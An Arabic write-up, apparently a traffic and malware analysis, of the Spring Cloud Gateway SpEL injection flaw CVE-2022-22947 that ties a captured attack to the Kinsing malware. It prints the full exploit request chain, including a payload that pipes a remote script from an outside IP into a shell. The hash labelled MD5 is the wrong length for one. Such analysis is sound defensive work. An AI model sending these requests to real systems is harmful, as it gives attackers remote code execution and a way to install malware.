
تحليل مفصل ودليل استغلال لـ CVE-2022-22947، وهي ثغرة حقن SpEL في Spring Cloud Gateway تؤدي إلى RCE، بما في ذلك تحليل PCAP والتحقيق في برمجية Kinsing الخبيثة.
CVE-2022-22947 (Spring-Cloud-Gateway) في الربع الأول من عام 2022، تم اكتشاف ثغرة حقن كود خطيرة ومهمة (درجة أساسية 10.0) في Spring Cloud Gateway تستفيد من واجهة Actuator API لتنفيذ هجوم SpEL Injection، مما قد يؤدي إلى اختراق النظام. إصدارات Spring Cloud Gateway السابقة للإصدار 3.1.1+ و3.0.7+ في Spring Cloud Gateway، تكون التطبيقات عرضة لهجوم حقن الكود إذا:كان نقطة نهاية Gateway Actuator مفعلة ومكشوفة وغير محمية.

POST /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 372
{"id": "BuOHOGeywH", "filters": [{"name": "AddResponseHeader", "args": {"name": "Result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}], "uri": "http://example.com", "order": 0}
الاستجابة:
HTTP/1.1 201 Created Location: /routes/xwpdsdeb content-length: 0
كما نرى في ملف JSON، نحصل على قيمة رأس الاستجابة من خلال تنفيذ هذا التعبير
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}]
ونلاحظ في دالة exec( ) وجود أمر مركب لتنفيذ الأوامر عن بُعد.
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0
الاستجابة:
HTTP/1.1 200 OK
GET /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
الاستجابة:
HTTP/1.1 200 OK
Content-Type: application/json
Date: Wed, 27 Dec 2023 09:45:00 UTC
Content-Length: 202
{"predicate": "RouteDefinitionRouteLocator$$Lambda$1046/0x0000000840610840", "route_id": "xwpdsdeb", "filters": ["[[AddResponseHeader Result = ''], order = 1]"], "uri": "10.0.2.15/xwpdsdeb", "order": 0}
الاستجابة 200 OK تشير إلى أن أمر RCE قد تم تنفيذه بنجاح
DELETE /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0
الاستجابة:
HTTP/1.1 200 OK CONNECTION: close
Date: Wed, 27 Dec 2023 09:45:01 UTC
Content-Length: 4855
HTTP 200 OK تشير إلى أنه تم حذف المسار بنجاح
##شيلكود مفكوك:
POST /actuator/gateway/routes/BuOHOGeywH HTTP/1.1
Host: 180.188.253.170:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Length: 411
Content-Type: application/json
Accept-Encoding: gzip
{
"id": "BuOHOGeywH",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 94.103.87.71/scg.sh||wget -q -O- 94.103.87.71/scg.sh)|sh\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
بعد فك تشفير هذا الشيلكود، وجدت رابط wget لسكريبت، ثم قمت بتنزيل ذلك السكريبت يدويًا، وبعد تحليله وجدت رابط تنزيل لبرنامج Kinsing الخبيث

ومن ذلك الرابط، قمت بتنزيل برنامج Kinsing الخبيث في ملف ZIP لمزيد من التحليل، ثم بعد ذلك قمت بتحليل قيمة MD5=787e2c94e6d9ce5ec01f5cbe9ee2518431eca8523155526d6dc85934c9c5787c لهذا البرنامج الخبيث، وهذه هي النتيجة

